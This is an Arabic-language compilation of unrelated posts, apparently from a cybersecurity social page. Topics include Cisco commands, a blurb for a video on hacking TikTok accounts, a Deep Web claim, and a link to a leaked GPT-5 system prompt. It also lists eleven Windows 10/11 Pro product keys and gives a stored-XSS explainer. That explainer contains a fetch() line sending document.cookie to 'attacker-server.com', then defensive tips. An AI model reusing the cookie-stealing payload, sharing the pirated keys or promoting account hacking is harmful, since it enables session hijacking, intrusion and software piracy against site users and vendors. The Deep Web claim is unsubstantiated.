مجتمع الأمن المعلوماتي
أتقن أوامر Cisco وارتق بمستوى إعداد الشبكات
سواء كنت بتجهز لامتحان CCNA
أو بتطور حالك كـ Network Engineer
أو بتدير شبكات حقيقية في الشغل
امتلاك أوامر Cisco الأساسية والمتقدمة هو المفتاح لبناء شبكة
آمنة، مستقرة وقابلة للتوسع — بدون لف ودوران
في الفيديو دا شرحنا طريقه اختراق حسابات تيكتوك بكل سهوله
الهدف من الشرح التعلم والحمايه فقط
يحتوي DeepWeb على 5 مستويات وكل مستوى يختلف في طريقة الوصول اليه ويختلف في ( أهمية المعلومات ) التي يحتوي عليها
👌
#الامن_السيبراني
#امن_المعلومات
#Google
#Tech
تسريب prompt الجديدة الخاصة ب GPT-5
على ChatGPT الرابط في التعليقات
هذا الأمر يعطيك فهم عميق لكيفية اشتغال chatgpt على أوامرك
الرابط
https://github.com/elder-plinius/CL4R1T4S/blob/main/OPENAI/ChatGPT5-08-07-2025.mkd
📱
Windows 10/11 RTM Professional OEM:DM
Key: 2GNB8-DXKRM-4TQWW-46B92-4RG6P
Key: YQQX3-NMXJX-BHKHM-TCTK6-QYH22
Key: CQ3NH-WYMGQ-C2T6B-V9PWB-RC2KC
Key: BQVWF-K2NJ9-3PDWH-447RV-CYT6P
Key: YNTV8-8C486-BCWT6-TQCP6-PDKTP
Key: VT2JN-CXX6W-KBHGR-F9XPF-TVJXC
Key: FNX3B-44Q79-GHMT7-FVPVV-X766P
Key: 9277G-HN8YR-PCCFH-8WFVT-HFR9C
Key: YNHPX-TX474-X3BV8-9JWTG-683GP
Key: 7D3VP-4NQM4-F6B2X-FXJCG-QYH22
Key: R8N3H-9F8JX-Y3D39-MRCP7-GCQGP
كيف يتم سرقة الكوكيز باستخدام XSS ؟
الفكرة ببساطة :
في هجوم XSS من النوع Stored يقوم المهاجم بحقن كود JavaScript ضار داخل موقع إلكتروني يعرض البيانات للمستخدمين الآخرين دون أي فلاتر أو تعقيم
هذا الكود يمكنه
سرقة ملفات تعريف الارتباط (cookies)
إرسالها إلى سيرفر خارجي تابع للمهاجم
اختراق جلسة المستخدم (Session Hijacking)
ما الذي يحتاجه المهاجم ؟؟
وجود ثغرة XSS مخزنة داخل الموقع
سيرفر خارجي أو خدمة وسيطة مثل Ngrok أو Cloudflare Tunnel لاستقبال الكوكيز
fetch("
https://attacker-server.com/log?cookie=
" + document.cookie);
كيف تحمي نفسك كمطور أو مسؤول عن الموقع ؟
1 _ تعقيم كافة المدخلات لا تثق بأي مدخل من المستخدم
2 _ استخدام الكوكيز بـ HttpOnly يمنع قراءتها من JavaScript
3 _ تفعيل Content Security Policy (CSP) لتقييد تحميل السكربتات الخارجية
4 _ مراقبة السجلات (Logs) لاكتشاف أي نشاط غير طبيعي مبكرا
ملاحظة
هجمات XSS سهلة في التنفيذ لكن تأثيرها خطير جدا إذا لم يكن الموقع مؤمن بشكل جيد.
الوعي هو خط الدفاع الأول سواء كنت مطور باحث أمني أو حتى مستخدم عادي